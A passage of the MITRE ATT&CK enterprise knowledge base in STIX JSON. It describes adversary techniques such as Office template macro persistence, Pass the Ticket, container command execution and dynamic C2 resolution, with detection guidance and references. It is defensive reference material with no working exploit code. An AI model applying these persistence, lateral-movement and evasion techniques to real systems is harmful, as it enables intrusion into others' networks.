            "description": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brad Geesaman, @bradgeesaman",
                "Ed Williams, Trustwave, SpiderLabs",
                "Blake Strom, Microsoft 365 Defender"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files.  Events not stored on the file system may require different detection mechanisms.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers",
                "Network Devices",
                "Office Suite",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Modification",
                "File: File Modification",
                "Firewall: Firewall Rule Modification",
                "User Account: User Account Authentication",
                "File: File Metadata",
                "User Account: User Account Deletion",
                "Process: OS API Execution",
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "File: File Deletion",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Deletion"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c",
            "created": "2020-03-15T15:30:42.378Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048/001",
                    "external_id": "T1048.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.571Z",
            "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
            "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
            "created": "2019-11-07T20:29:17.788Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/001",
                    "external_id": "T1137.001"
                },
                {
                    "source_name": "MSDN VBA in Office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
                },
                {
                    "source_name": "Hexacorn Office Template Macros",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
                },
                {
                    "source_name": "Microsoft Change Normal Template",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
                },
                {
                    "source_name": "enigma0x3 normal.dotm",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:54:50.299Z",
            "name": "Office Template Macros",
            "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
            "created": "2020-10-01T00:44:23.935Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/003",
                    "external_id": "T1583.003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
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            "modified": "2025-04-15T23:18:46.651Z",
            "name": "Virtual Private Server",
            "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
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                    "phase_name": "resource-development"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Internet Scan: Response Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "created": "2020-02-14T13:09:51.004Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/001",
                    "external_id": "T1213.001"
                },
                {
                    "source_name": "Atlassian Confluence Logging",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
                }
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            "modified": "2025-04-15T22:09:18.055Z",
            "name": "Confluence",
            "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "created": "2020-01-30T17:03:43.072Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1550/003",
                    "external_id": "T1550.003"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.",
                    "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "Stealthbits Overpass-the-Hash",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
                    "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
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            "modified": "2025-04-15T19:58:43.927Z",
            "name": "Pass the Ticket",
            "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Ryan Becwar"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
            "created": "2021-03-29T16:39:26.183Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1609",
                    "external_id": "T1609"
                },
                {
                    "source_name": "Docker Exec",
                    "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/exec/"
                },
                {
                    "source_name": "Docker Entrypoint",
                    "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
                },
                {
                    "source_name": "Docker Daemon CLI",
                    "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
                },
                {
                    "source_name": "Kubectl Exec Get Shell",
                    "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
                },
                {
                    "source_name": "Kubernetes Kubelet",
                    "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
                },
                {
                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
                }
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            "modified": "2025-04-15T19:58:44.024Z",
            "name": "Container Administration Command",
            "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)",
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                    "phase_name": "execution"
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            "x_mitre_contributors": [
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                "David Fiser, @anu4is, Trend Micro",
                "Brad Geesaman, @bradgeesaman",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
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            "type": "attack-pattern",
            "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "created": "2017-05-31T21:31:04.710Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1083",
                    "external_id": "T1083"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "modified": "2025-04-15T19:58:44.118Z",
            "name": "File and Directory Discovery",
            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.  ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
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            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "Process: OS API Execution"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "created": "2020-03-10T17:28:11.747Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568",
                    "external_id": "T1568"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                }
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            "modified": "2025-04-25T15:15:46.359Z",
            "name": "Dynamic Resolution",
            "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                {
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                    "phase_name": "command-and-control"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Chris Roffe"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "created": "2020-02-10T20:30:07.426Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/004",
                    "external_id": "T1036.004"
                },
                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Systemd Service Units",
                    "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
                },
                {
